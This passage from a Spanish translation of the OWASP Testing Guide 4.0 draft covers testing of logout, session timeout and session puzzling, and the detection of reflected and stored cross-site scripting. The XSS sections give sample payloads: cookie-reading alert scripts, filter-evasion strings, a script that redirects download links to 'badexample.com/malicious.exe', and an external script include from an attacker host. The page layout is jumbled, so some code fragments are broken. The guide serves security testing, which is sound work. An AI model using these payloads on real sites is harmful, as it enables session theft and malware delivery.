Hay múltiples cuestiones que pueden prevenir la terminación eficaz de una sesión. Para la seguridad ideal de la aplicación web, un usuario debe ser capaz de terminar en cualquier momento a través de la interfaz de usuario. Cada página debe contener un botón de cierre de sesión en un lugar directamente visible. Las funciones de cierre de sesión confusas o ambiguas podrían causar desconfianza en el usuario sobre dicha funcionalidad. Otro error común en la terminación de la sesión es que en la ficha de sesión del cliente se establece un nuevo valor, mientras que en el estado del servidor permanece activa y puede ser reutilizada restableciendo la cookie de sesión al valor anterior. A veces sólo se muestra un mensaje de confirmación al usuario sin que tenga que realizar ninguna acción adicional. Esto debe evitarse.

• Un botón de cierre de sesión está presente en todas las páginas de la aplicación web. • El botón de cierre de sesión debe ser rápidamente identificable por un usuario que quiere desconectarse de la aplicación web. • Después de cargar una página, el botón de cierre de sesión debe ser visible sin desplazamiento. • Idealmente, el botón de cierre de sesión debe ubicarse en una zona fija dentro de la pantalla visible del navegador y no debe verse afectada por el desplazamiento del contenido.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 144

Guia de pruebas 4.0 "Borrador"

Para probar el cierre de sesión desde el servidor: Primeramente, almacene los valores de las cookies que se utilizan para identificar una sesión. Invoque la función de cierre de sesión del usuario y observe el comportamiento de la aplicación, especialmente en relación con las cookies de sesión. Intente navegar hacia una página que sólo es visible dentro de una sesión autenticada, por ejemplo, el uso del botón de regresar del navegador.

Si se muestra una versión en caché de la página, utilice el botón de actualizar para refrescar la página desde el servidor. Y si la función de cierre de sesión causa que las cookies se registren con un nuevo valor, restaure el valor antiguo de las cookies de sesión y cargue una página de la zona autenticada de la aplicación.

Si estas pruebas no muestran vulnerabilidades en alguna página en particular, pruebe al menos algunas páginas más de la aplicación que se consideran críticas para la seguridad, para garantizar que la terminación de la sesión es reconocida correctamente por estas áreas de la aplicación.

El valor apropiado para el tiempo de caducidad de la sesión depende del propósito de la aplicación y debe ser un equilibrio entre seguridad y usabilidad. En las aplicaciones bancarias, no tiene sentido mantener una sesión inactiva más de quince minutos. Por otro lado, un tiempo corto de espera en un wiki o un foro podría molestar a los usuarios que están escribiendo artículos largos con solicitudes de registro innecesarias. Allí, los tiempos de espera de una hora o más pueden ser aceptables.

Para probar el cierre de sesión en entornos de inicio de sesión únicos (single sign-off): Realice un cierre de sesión de la aplicación que está probando. Verifique si hay un portal central o un directorio de la aplicación que le permita al usuario reiniciar una sesión en la aplicación sin autenticación.

Compruebe si la aplicación solicita al usuario su autenticación; si solicita una dirección URL de un punto de entrada a la aplicación. Habiendo iniciado una sesión en la aplicación probada, realice un cierre de sesión en el sistema SSO. Intente acceder a un área autenticada de la aplicación probada.

Resultado esperado: Resultado esperado: Ningún dato que debería ser visible únicamente por usuarios autenticados debe ser visibles en las páginas examinadas al realizar las pruebas. Idealmente, la aplicación debe redirigirse a una zona pública o a un formulario de registro al acceder a áreas autenticadas después del cierre de la sesión. No debería ser necesario para la seguridad de la aplicación, pero establecer nuevos valores para las cookies de sesión después de desconectarse es considerado como una buena práctica.

Se espera que la invocación de una función de cierre de sesión en una aplicación web conectada a un sistema SSO, o en el mismo sistema SSO, cause el cierre global de todas las sesiones. Una autenticación del usuario debería ser necesaria para acceder a la aplicación después del cierre de la sesión en el sistema SSO y la aplicación conectada.

Herramientas Pruebas de tiempo de caducidad de sesión: • “Burp Suite - Repeater”: portswigger.net Determine un tiempo de caducidad de sesión realizando solicitudes a una página en el área de autenticación de la aplicación web con incremento de los intervalos de tiempo. Si aparece un comportamiento de cierre de sesión, el intervalo de tiempo usado coincide aproximadamente con el valor del tiempo de caducidad de la sesión.

Referencias Libros Blancos

Resultado esperado: Un cierre de sesión causado por inactividad dentro de un tiempo de caducidad debe tener los mismos resultados descritos anteriormente para la prueba de terminación de sesión de servidor.

• “The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications”: support.microsoft.com • “Cookie replay attacks in ASP.NET when using forms authentication”: vanstechelman.eu

Pruebas del tiempo de cierre de sesión (OTG-SESS-007)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 145

Guia de pruebas 4.0 "Borrador"

Resumen En esta fase, los evaluadores comprueban que la aplicación cierra automáticamente la sesión cuando un usuario ha permanecido inactivo durante un cierto periodo de tiempo, asegurando que no se pueda "reutilizar" la misma sesión y que ningún dato sensible permanezca almacenado en la caché del navegador.

Todas las aplicaciones deben implementar un tiempo de cierre de sesión por inactividad. Este tiempo de cierre define el período que una sesión se mantendrá activa en caso de que no haya actividad por parte del usuario., Cierre e invalide la sesión una vez excedido el período de inactividad definida desde la última petición HTTP recibida por la aplicación web para un determinado identificador de sesión. El tiempo de cierre más adecuado debe ser un equilibrio entre la seguridad (menor tiempo de espera) y usabilidad (mayor tiempo de espera), y mucho depende del nivel de sensibilidad de los datos manejados por la aplicación.

Por ejemplo, un tiempo de cierre de sesión de 60 minutos para un foro público puede ser aceptable, pero tanto tiempo sería demasiado en una aplicación de banca en casa (donde se recomienda un tiempo máximo de cierre de quince minutos). En todo caso, cualquier aplicación que no impone un cierre de sesión basado en el tiempo de espera debe considerarse insegura, a menos que tal comportamiento sea exigido por un requisito funcional específico.

El tiempo de inactividad limita la ventana de oportunidad que un atacante tiene para adivinar y usar un identificador de otro usuario. Bajo ciertas circunstancias podría proteger a las computadoras públicas para que reutilicen una sesión válida. Sin embargo, si el atacante es capaz de secuestrar una sesión determinada, el tiempo de inactividad no limita las acciones del atacante, ya que puede generar periódicamente actividad dentro de la sesión para mantenerla activa por períodos de tiempo más largos.

La gestión de la caducidad y administración de tiempo de cierre de sesión debe ser realizada obligatoriamente desde el lado del servidor si algunos datos que se encuentran en control del cliente se utilizan para hacer cumplir el tiempo de cierre de sesión. Por ejemplo, usando valores de cookies u otros parámetros del cliente para hacer el seguimiento de las referencias de tiempo (p. ej. el número de minutos desde la hora de registro), un atacante podría manipular estos para extender la duración de la sesión.

Como resultado, la aplicación tiene que medir el tiempo de inactividad en el servidor y, una vez transcurrido el lapso de espera, automáticamente

invalida la sesión del usuario actual y borra todos los datos almacenados en el cliente.

Ambas acciones deben implementarse cuidadosamente, con el fin de evitar introducir debilidades que podrían ser aprovechadas por un atacante para obtener acceso no autorizado si el usuario olvidó cerrar la sesión desde la aplicación. Más específicamente, en cuanto a la función de cierre de sesión, es importante asegurarse de que todas las fichas de sesión (por ejemplo las cookies) sean destruidas o queden inservibles, y que se apliquen controles adecuados desde el lado del servidor para evitar la reutilización de las fichas de sesión. Si estas acciones no se llevan a cabo correctamente, un atacante podría reproducir estas fichas de sesión para "resucitar" la sesión de un usuario legítimo y hacerse pasar por él o ella (este ataque es generalmente conocido como 'cookie replay'). Por supuesto, un factor atenuante es que el atacante debe ser capaz de acceder a las fichas (que se almacenan en el navegador de la víctima), pero, en varios casos, esto puede no ser particularmente difícil o imposible.

El escenario más común para este tipo de ataque es un equipo público que sirve para acceder a información privada (por ejemplo, correo web, cuenta bancaria en línea). Si el usuario se aleja de la computadora sin cerrar explicitamente la sesión y el tiempo de cierre de sesión no está implementado en la aplicación, entonces un atacante podría acceder a la misma cuenta simplemente pulsando el botón "atrás" del navegador.

Cómo probar Prueba de Caja Negra Puede aplicarse el mismo enfoque de la sección de pruebas de funcionalidad de cierre de sesión (OTG-SESS-006) al medir el tiempo de cierre de sesión. La metodología de prueba es muy similar. En primer lugar, los evaluadores tienen que comprobar si existe un tiempo de cierre, por ejemplo, iniciando una sesión y esperando a que el cierre sesión se active. Como en la función de cierre de sesión, después de transcurrido el tiempo de espera, todas las fichas de sesión deben ser destruidas o quedar inutilizables.

Entonces, si se configura el tiempo de cierre, los evaluadores necesitan entender si el tiempo de cierre lo establece el cliente o el servidor (o ambos). Si la cookie de sesión es no-persistente (o, de manera más general, la cookie no guarda ninguna información sobre el tiempo), los evaluadores pueden asumir que el tiempo de cierre se ejecuta en el servidor.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 146

Guia de pruebas 4.0 "Borrador"

Si la cookie contiene algún dato relacionado con el tiempo (por ejemplo, la hora de registro, o la última hora de acceso o la fecha de caducidad de una cookie persistente), entonces es posible que el cliente tenga una participación en el tiempo de cierre. En este caso, los evaluadores podrían tratar de modificar la cookie (si no está criptograficamente protegida) y ver qué pasa con la sesión. Por ejemplo, los evaluadores pueden establecer la fecha de caducidad de la cookie en un futuro lejano y ver si se puede prolongar el período de sesiones.

Pruebas del Session puzzling (OTG-SESS-008)

Como regla general, debe comprobarse todo del lado del servidor y no debe ser posible, mediante la reconfiguración de las cookies de sesión a los valores anteriores, acceder a la aplicación otra vez.

• Esquivar los mecanismos de autenticación de la aplicación y hacerse pasar por usuarios legítimos.

Pruebas de Caja Gris El evaluador debe verificar que:

Resumen La sobrecarga de variables de sesión (también conocida como Session Puzzling) es una vulnerabilidad al nivel de la aplicación que permite a un atacante realizar una variedad de acciones maliciosas que incluyen, pero no se limitan a:

• Elevar los privilegios de una cuenta de usuario maliciosa, en un entorno que, de lo contrario, sería considerado infalible. • Saltarse las fases de calificación en los procesos de fases múltiples, incluso si el proceso incluye todas las restricciones a nivel de código comúnmente recomendadas. • Manipular los valores del lado del servidor de forma indirecta para que no puedan ser predichos o detectados.

• La función de cierre de sesión destruye eficazmente todas las fichas de sesión, o por lo menos las inhabilita. • El servidor realiza los controles adecuados en el estado de la sesión, impidiendo al atacante reproducir identificadores de sesión previamente destruidos. • El tiempo de cierre es establecido correctamente por el servidor. Si el servidor utiliza un tiempo de expiración que se lee de una ficha de sesión que es enviada por el cliente (aunque esto no es recomendable), entonces la ficha debe estar criptográficamente protegida contra la manipulación.

Tome en cuenta que lo más importante es que la aplicación invalide la sesión en el servidor. Generalmente esto significa que el código debe invocar los métodos apropiados, por ejemplo, HttpSession.invalidate() en Java y Session.abandon() en .NET.

Borrar las cookies en el navegador es recomendable, pero no es estrictamente necesario, ya que si bien se invalida la sesión en el servidor, tener la cookie en el navegador no ayudará a un atacante.

Referencias Recursos OWASP • Session Management Cheat Sheet

• Ejecutar ataques tradicionales en lugares previamente inaccesibles, o incluso que se consideran seguros.

Esta vulnerabilidad se produce cuando una aplicación utiliza la misma variable de sesión para más de un propósito. Potencialmente un atacante puede acceder a páginas en un orden no previsible por parte de los desarrolladores para que la variable de sesión se configure en un contexto y luego se utilice en otro.

Por ejemplo, un atacante puede utilizar la sobrecarga de variables de sesión para eludir los mecanismos de autenticación de la aplicación, que garantizan la autenticación mediante la validación de la existencia de variables de sesión que contengan valores relacionados con la identidad, que normalmente se almacenan en la sesión después de un proceso de autenticación exitoso. Esto significa que, primero, un atacante tiene acceso a una ubicación en la aplicación que establece el contexto de la sesión y, luego, accede a lugares privilegiados que examinan este contexto.

Por ejemplo, un vector de ataque de evasión de autenticación podría ser ejecutado mediante el ingreso a un punto de entrada de acceso público (por ejemplo, una página de recuperación de contraseña) que rellena la sesión con una variable de sesión idéntica, basada en valores fijos o en información ingresada por un usuario.

Cómo probar

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 147

Guia de pruebas 4.0 "Borrador"

Prueba de Caja Negra Esta vulnerabilidad puede ser detectada y explotada enumerando todas las variables de sesión que utiliza la aplicación y elcontexto en el que son válidas. En particular, esto es posible accediendo a una secuencia de puntos de entrada y luego examinando los puntos de salida. En el caso de las pruebas de caja negra, este procedimiento es difícil y requiere algo de suerte ya que cada secuencia diferente podría llevar a un resultado diferente.

Ejemplos Un ejemplo muy simple podría ser la funcionalidad de restablecimiento de contraseña que, en el punto de entrada, puede solicitar al usuario que proporcione cierta información de identificación que podría ser el nombre del usuario o la dirección de correo electrónico. Esta página podría rellenar, entonces, la sesión con estos valores de identificación que son recibidos directamente del lado del cliente u obtenidos de consultas o cálculos basados en la información de entrada recibida. En este punto pueden haber algunas páginas en la aplicación donde se muestran datos privados basados en este objeto de sesión. De esta manera el atacante podría eludir el proceso de autenticación.

Pruebas de Caja Gris La forma más efectiva para detectar estas vulnerabilidades es a través de una revisión del código fuente.

Referencias Libros Blancos • Session Puzzles: puzzlemall.googlecode.com

scripting, inyección SQL, inyección de intérprete, ataques ataques locale/Unicode, ataques al sistema de archivo y desbordamiento de búfer.

Nunca se debe confiar en los datos de una entidad externa o del cliente, ya que pueden ser arbitrariamente adulterados por un atacante. "Todas las entradas son malignas", dice Michael Howard en su famoso libro "Writing Secure Code" (Escribiendo Código Seguro). Esta es la regla número uno. Lamentablemente, las aplicaciones más complejas a menudo tienen un gran número de puntos de entrada, lo que hace difícil para que un desarrollador haga cumplir esta regla. Este capítulo describe las pruebas de validación de datos. Esta es la tarea de probar todas las formas posibles de entrada para comprender si la aplicación valida lo suficiente el ingreso de datos antes de usarlos.

Pruebas de la reflexión del Cross site scripting (OTG-INPVAL-001) Resumen La reflexión del Cross-site Scripting (XSS) ocurre cuando un atacante inyecta un código ejecutable en el navegador, dentro de una sola respuesta HTTP. El ataque inyectado no se almacena dentro de la aplicación, es no-persistente y sólo afecta a los usuarios que abren una página web de terceros o un vínculo diseñado con mala intención. La cadena de ataque se incluye como parte del diseño de los parámetros URL o HTTP, que se procesan incorrectamente por la aplicación y se devuelven a la víctima.

Las reflexiones de XSS son los tipos de ataque XSS más frecuentes encontrados en la naturaleza. Los ataques de reflexión XSS también son conocidos como ataques XSS no persistentes y, puesto que la carga de ataque es entregada y ejecutada mediante una sola solicitud y respuesta, también se les conoce como XSS de primer orden o tipo 1.

• Session Puzzling and Session Race Conditions: sectooladdict.blogspot.com

Remediación Las variables de sesión deben ser utilizadas con una sola finalidad.

Pruebas de validación de entradas La debilidad de seguridad de las aplicaciones web más común es el no poder validar correctamente los datos de entrada que vienen del cliente o del medio ambiente antes de usarlo. Esta debilidad conduce a casi todas las vulnerabilidades principales en aplicaciones web, tales como cross site

Cuando una aplicación web es vulnerable a este tipo de ataques, esta pasará datos de entrada no validados mediante solicitudes al cliente. El modus operandi común del ataque incluye un paso de diseño, en el que el atacante crea y prueba una URI ofensiva; un paso de ingeniería social, en el cual ella convence a sus víctimas para que carguen esta URI en sus navegadores y la eventual ejecución del código ofensivo utilizando el navegador de la víctima.

Comúnmente, el código del intruso es escrito en el lenguaje Javascript, pero también se utilizan otros lenguajes, por ejemplo, ActionScript y VBScript. Los atacantes suelen aprovechar estas vulnerabilidades para instalar registradores de claves, robar las cookies de la víctima, realizar robos del portapapeles y cambiar el contenido de la página (por ejemplo, enlaces de descarga).

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 148

Guia de pruebas 4.0 "Borrador"

Una de las principales dificultades en la prevención de vulnerabilidades XSS es la correcta codificación de caracteres. En algunos casos, el servidor web o la aplicación web podrían no estar filtrando algunas codificaciones de caracteres; así que, por ejemplo, la aplicación web puede filtrar y sacar "<script>", pero podría no filtrar %3cscript%3e que simplemente incluye otra codificación de etiquetas.

[3] Para cada prueba de entrada intentada en la fase anterior, el evaluador analiza el resultado y determina si representa una vulnerabilidad que tiene un impacto realista en materia de seguridad de la aplicación web. Esto requiere examinar la HTML de la página web resultante, en busca de la información de entrada para la prueba. Una vez encontrada, el evaluador identifica los caracteres especiales que no fueron codificados correctamente, reemplazados o filtrados. El conjunto de caracteres especiales vulnerables sin filtrar dependerán del contexto de esa sección de HTML.

Cómo probar Prueba de Caja Negra

Idealmente, todos los caracteres especiales de HTML se reemplazarán con entidades HTML. Las entidades HTML claves para identificar son:

Una prueba de caja negra incluye al menos tres fases: > (greater than) < (less than) [1] Detecte vectores de entrada. Para cada página web, el evaluador debe determinar todas las variables definidas por el usuario y cómo ingresarlas. Esto incluye entradas ocultas o no evidentes como parámetros HTTP, datos POST, valores de formulario de campo oculto y valores predefinidos de radio o de selección. Por lo general, los editores del navegador para HTML o los proxys web que se utilizan para ver estas variables ocultas. Vea el ejemplo a continuación.

[2] Analice cada vector de entrada para detectar posibles vulnerabilidades. Para la detección de una vulnerabilidad XSS, el evaluador suele utilizar datos de entrada especialmente diseñados con cada vector de entrada. Estos datos de entrada son normalmente inofensivos, pero desencadenan respuestas desde el navegador web que manifiesta su vulnerabilidad. Los datos para pruebas pueden generarse utilizando un distorsionador de aplicaciones web, una lista automatizada predefinida de cadenas de ataque conocidas o manualmente.

& (ampersand) ‘ (apostrophe or single quote)

“ (double quote)

Sin embargo, una lista completa de entidades está definida por las especificaciones de HTML y XML. Wikipedia tiene una referencia completa [1].

En el framework de una acción de HTML o código JavaScript, un conjunto diferente de caracteres especiales se necesitarán para escapar, codificar, reemplazar o filtrar. Estos caracteres incluyen:

\n (new line) Algunos ejemplos de esta información de entrada son:

\r (carriage return) \’ (apostrophe or single quote)

<script>alert(123) \” (double quote)

\\ (backslash) “><script>alert(document.cookie)

\uXXXX (unicode values)

Para una referencia más completa, consulte a la guía JavaScript de Mozilla. [2] Para tener una lista completa de posibles cadenas de prueba, vea el archivo XSS Filter Evasion Cheat Sheet.

Ejemplo 1

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 149

Guia de pruebas 4.0 "Borrador"

Por ejemplo, consideremos un sitio que tiene un anuncio de bienvenida "Bienvenido %username%" y un enlace de descarga.

http://example.com/index.php?user=<script>window.onload function() {var AllLinks=document.getElementsByTagName(“a”);

=

AllLinks[0].href = “http://badexample.com/malicious.exe”; }

Esto produce el siguiente comportamiento: El evaluador debe sospechar que cada punto de entrada de datos puede resultar en un ataque XSS. Para analizarlo, el evaluador jugará con las variables del usuario y tratará de activar la vulnerabilidad. Intente hacer clic en el siguiente enlace y vea qué pasa.

http://example.com/index.php?user=<script>alert(123)

Si no se aplica una desinfección, esto resultará en la siguiente ventana emergente: Esto hará que el usuario, haciendo clic en el enlace suministrado por el evaluador, pueda descargar el archivo malicious.exe desde un sitio controlado por el evaluador.

Eludir filtros XSS

Esto indica que existe una vulnerabilidad XSS y parece que el evaluador puede ejecutar el código de su elección en cualquier navegador si éste hace clic en el enlace del evaluador.

Los ataques de reflexión del Cross-site Scripting se previenen mientras la aplicación web desinfecta la entrada de datos; una aplicación web de firewall bloquea la entrada maliciosa, o mediante mecanismos integrados en navegadores web modernos. El evaluador debe probar las vulnerabilidades asumiendo que los navegadores web no impedirán el ataque. Los navegadores pueden estar desactualizados o con sus características de seguridad incorporadas deshabilitadas. Del mismo modo, los firewalls de la aplicación web no garantizan poder reconocer ataques nuevos y desconocidos. Un atacante podría crear una cadena de ataque que es desconocida por la aplicación web del firewall.

Ejemplo 2 Pruebe otra pieza de código (enlace)

La mayor parte de la prevención XSS depende de la desinfección de la aplicación web de datos no confiables del usuario. Hay varios mecanismos disponibles para que los desarrollaldores realicen la desinfección, como devolver un error, quitar, codificar, sustituir datos de entrada no válida. El modo por el cual la aplicación detecta y corrige la entrada inválida es otra debilidad principal en la prevención de XSS. Una

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 150

Guia de pruebas 4.0 "Borrador"

lista negra podría no incluir todas las cadenas de ataque posibles, una lista blanca puede ser excesivamente permisiva, la desinfección puede fallar o un tipo de entrada puede calificarse incorrectamente como confiable y mantenerse sin desinfección. Todo esto permite a los atacantes burlar los filtros XSS.

“><script >alert(document.cookie)

“><script >alert(document.cookie) Los apuntes de repaso de evasión de filtros XSS comúnmente filtran las pruebas de evasión. “%3cscript%3ealert(document.cookie)%3c/script%3e

Ejemplo 3: Etiquete el valor del atributo Ya que estos filtros se basan en una lista negra, no pueden bloquear todos los tipos de expresiones. De hecho, hay casos en que una explotación XSS puede llevarse a cabo sin el uso de etiquetas <script> e incluso sin el uso de caracteres tales como "< > y / que comúnmente se filtran.

Por ejemplo, la aplicación web puede utilizar el valor ingresado por el usuario para llenar un atributo, como se muestra en el siguiente código:

Ejemplo 5: Para evitar la filtración no-recurrente A veces la desinfección se aplica sólo una vez y no se realiza de forma recurrente. En este caso, el atacante puede vencer al filtro mediante el envío de una cadena que contiene múltiples intentos, como esta:

ipt>alert(document.cookie)

Ejemplo 6: Para incluir scripts externos Entonces el atacante puede enviar el siguiente código:

Ahora suponga que los desarrolladores del sitio objetivo implementaron el siguiente código para proteger la entrada de la inclusión de script externo:

“ onfocus=”alert(document.cookie) ]+src/i”;

Ejemplo 4: Diferente sintaxis o codificación

if (preg_match($re, $_GET[‘var’]))

En algunos casos, es posible que los filtros basados en la firma pueden ser simplemente derrotados ofuscando el ataque. Por lo general, usted puede hacer esto mediante la introducción de variaciones inesperadas en la sintaxis o en la codificación. Estas variaciones se toleran por parte de los navegadores como HTML, válidos cuando se devuelve el código y, sin embargo, también podrían ser aceptadas por el filtro.

{ echo “Filtered”; return; } echo “Welcome “.$_GET[‘var’].” !”;

A continuación algunos ejemplos:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 151

Guia de pruebas 4.0 "Borrador"

En este escenario hay una expresión regular que verifica si<script [cualquier cosa menos el carácter: ‘>’ ] src se ha insertado. Esto es útil para filtrar expresiones como:

http://example/page.php?param=<script¶m=>[...]

<script src=”http://attacker/xss.js”>

Resultado esperado que es un ataque común. Pero, en este caso, es posible eludir la desinfección usando el carácter ">" con un atributo entre script y src como este:

http://example/?var=<SCRIPT%20a=”>”%20SRC=”http://attacker/xss .js”>

Vea los apuntes de repaso de evasión de filtros XSS para obtener una lista más detallada de las técnicas de evasión de filtros. Por último, analizar las respuestas puede ser complejo. Una manera simple de hacer esto es usar un código que lance un cuadro de diálogo, como en nuestro ejemplo. Esto normalmente indica que un atacante podría ejecutar un código JavaScript arbitrario de su elección en los navegadores de los visitantes.

Pruebas de Caja Gris Esto explotará la vulnerabilidad de reflexión del Cross-site Scripting mostrada anteriormente, ejecutando el código JavaScript almacenado en el servidor web del atacante como si se originara desde el sitio web de la víctima, http://example/.

Ejemplo 7: Contaminación del Parámetro HTTP (HTTP Parameter Pollution (HPP)) Otro método para eludir los filtros es la contaminación del parámetro HTTP. Esta técnica fue introducida por Stefano di Paola y Luca Carettoni en el 2009, durante la Conferencia OWASP en Polonia. Vea la "prueba de contaminación del parámetro HTTP" para obtener más información. Esta técnica de evasión consiste en dividir un vector de ataque entre los múltiples parámetros que tengan el mismo nombre. La manipulación del valor de cada parámetro depende de cómo cada tecnología web analiza estos parámetros, por lo que este tipo de evasión no siempre es posible. Si el ambiente de prueba concatena los valores de todos los parámetros con el mismo nombre, entonces el atacante podría utilizar esta técnica para evitar los mecanismos de seguridad basados en el patrón.

Las pruebas de Caja Gris son similares a las pruebas de Caja Negra. En las pruebas de Caja Gris, el evaluador de edición tiene un conocimiento parcial de la aplicación. En este caso, la información relativa a la entrada del usuario, los controles de validación de entrada y cómo se devuelve la información ingresada por el usuario al mismo usuario, podrían ser conocidos por el evaluador de edición. Si el código fuente está disponible (Caja Blanca), deben analizarse todas las variables recibidas de los usuarios. Además, el evaluador debe analizar los procedimientos de desinfección implementados para decidir si estos pueden ser eludidos.

Herramientas • OWASP CAL9000 CAL9000 es una colección de herramientas de prueba de seguridad en aplicaciones web, que complementa el conjunto actual de proxys web y escáneres automatizados. Se presenta como una referencia en: sec101.sourceforge.net

Ataque normal: • PHP Charset Encoder(PCE): http://example/page.php?param=<script>[...]

yehg.net Esta herramienta le permite codificar textos arbitrarios desde y hacia 65 clases de conjuntos de caracteres. Además, se proporcionan algunas funciones de codificación destacadas de JavaScript.

Ataque usando HPP:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 152

Guia de pruebas 4.0 "Borrador"

• HackVertor: businessinfo.co.uk Ofrece varias docenas de codificaciones flexibles para ataques de manipulación de cadena avanzada.

• WebScarab: WebScarab es un framework para analizar las aplicaciones que se comunican mediante los protocolos HTTP y HTTPS: owasp.org

• XSS-Proxy: xss-proxy.sourceforge.net XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).

(XSS). Ofrece resultados de análisis de cero falsos positivos con su triple motor de navegación único (Trident, WebKit y Gecko) escáner incrustados. Se afirma que tiene la segunda carga de XSS más grande del mundo, de aproximadamente 1600+ XSS cargas útiles distintivas para la detección eficaz de vulnerabilidades XSS y desvios WAF. El motor de Scripting de Xenotix le permite crear casos de prueba personalizados y add-ons en la API de Xenotix. Tiene incorporado un módulo de recolección de información abundante para reconocimiento de objetivos. El framework de explotación incluye módulos de explotación de ofensiva XSS para la creación de pruebas de penetración y prueba de creación de concepto.

Referencias Recursos OWASP • XSS Filter Evasion Cheat Sheet

• ratproxy: code.google.com Es una herramienta de seguridad y auditoría semiautomática, en gran parte pasiva, de aplicaciones web optimizadas que sirven para una detección precisa y sensible y para realizar una anotación automática de posibles problemas y patrones de diseño relevantes a la seguridad, basados en la observación del tráfico existente, iniciado por el usuario en entornos web 2.0 complejos.

• Burp Proxy - portswigger.net Burp Proxy es un servidor proxy HTTP/S interactivo que sirve para atacar o probar aplicaciones web.

• OWASP Zed Attack Proxy (ZAP): OWASP_Zed_Attack_Proxy_Project ZAP es una herramienta de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con un amplio espectro de experiencia en seguridad y por eso es ideal para desarrolladores y evaluadores funcionales que son novatos realizando pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.

Libros • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0 • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-47017077-9 • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3

Libros Blancos • CERT - Malicious HTML Tags Embedded in Client Web Requests: Read • Rsnake - XSS Cheat Sheet: Read • cgisecurity.com - The Cross Site Scripting FAQ: Read • G.Ollmann - HTML Code Injection and Cross-site scripting: Read • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published ) • S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read

• OWASP Xenotix XSS Exploit Framework: OWASP_Xenotix_XSS_Exploit_Framework OWASP Xenotix XSS Exploit Framework es un framework avanzado de detección y explotación de vulnerabilidades mediante Cross Site Scripting

Pruebas para Cross site scripting almacenados(OTG-INPVAL-002) Resumen

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 153

Guia de pruebas 4.0 "Borrador"

El Cross-site Scripting almacenado (XSS) es el tipo más peligroso de Cross Site Scripting. Las aplicaciones web que permiten a los usuarios almacenar datos están potencialmente expuestas a este tipo de ataques. Este capítulo ilustra ejemplos de escenarios relacionados con la inyección y explotación de Cross-site Scripting almacenado. El XSS almacenado se produce cuando una aplicación web reúne la información ingresada por un usuario que puede ser malicioso y esa información es almacenada para su uso posterior. La información almacenada no se filtra correctamente. Como consecuencia, los datos maliciosos aparecerán como parte del sitio web y se ejecutarán en el navegador del usuario con los privilegios de la aplicación web. Puesto que esta vulnerabilidad, por lo general, implica al menos dos peticiones a la aplicación, esto puede también llamarse XSS de segundo orden.

Esta vulnerabilidad se puede utilizar para llevar a cabo una serie de ataques basados en el navegador incluyendo:

• Secuestro del navegador de otro usuario • Captura de información confidencial vista por usuarios de la aplicación

El XSS almacenado es particularmente peligroso en las áreas de las aplicaciones donde los usuarios con altos privilegios tienen acceso. Cuando el administrador visita la página vulnerable, el ataque es ejecutado automáticamente por su navegador. Esto puede exponer información sensible como fichas de autorización de sesión.

Cómo probar Pruebas de Caja Negra El proceso para la identificación de las vulnerabilidades XSS almacenadas es similar al proceso descrito en la prueba de reflexión de XSS.

Formularios de ingreso El primer paso es identificar todos los puntos donde se almacenan los datos ingresados por el usuario en la zona de acceso restringido (backend) y luego se muestra en la aplicación. Ejemplos típicos de ingresos del usuario almacenados pueden encontrarse en:

• Pseudo desfiguración de la aplicación • Escaneo de puertos en hosts internos ("internos" en relación a los usuarios de la aplicación web)

• User/Profiles page: la aplicación permite al usuario editar o cambiar los datos del perfil tales como nombre, apellido, apodo, avatar, foto, dirección, etc.

• Explotación basada en el navegador de entrega dirigida • Otras actividades maliciosas

• Shopping cart: la aplicación permite al usuario guardar artículos en el carrito de compras que pueden ser revisados posteriormente. • File Manager: Esta aplicación permite subir archivos.

Un XSS almacenado no necesita un enlace malicioso para ser explotado. Una explotación exitosa se produce cuando un usuario visita una página con un XSS almacenado. Las fases siguientes se relacionan con una situación de ataque XSS almacenado normal:

• Application settings/preferences: aplicación que permite al usuario establecer sus preferencias. • Forum/Message board: la aplicación permite intercambiar mensajes entre usuarios. • Blog: si la aplicación del blog lo permite, los usuarios envían comentarios.

• El atacante almacena el código malicioso en la página vulnerable • El usuario se autentica en la aplicación

• Log: si la aplicación guarda en registros algunos datos ingresados por el usuario.

• El usuario visita páginas vulnerables • El código malicioso se ejecuta en el navegador del usuario

Este tipo de ataque también puede ser explotado mediante frameworks de explotación del navegador como BeEF, XSS Proxy y Backframe. Estos frameworks permiten el desarrollo de ataques complejos de JavaScript.

Analyze HTML code Los ingresos almacenados por la aplicación normalmente se utilizan en etiquetas HTML, pero también pueden encontrarse como parte del contenido de JavaScript. En esta etapa, es fundamental para entender si la información se almacena y cómo se ubica en el contexto de la página.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 154

Guia de pruebas 4.0 "Borrador"

A diferencia de la reflexión XSS, el evaluador de edición también debe investigar los canales "fuera de banda" a través de los cuales la aplicación recibe y almacena los datos ingresados por los usuarios.

Nota: Todas las áreas de la aplicación que son accesibles por el administrador deben ser probadas para identificar la presencia de cualquier información enviada por los usuarios.

[email protected]”><script>alert(document.cookie)

[email protected]%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F script%3E

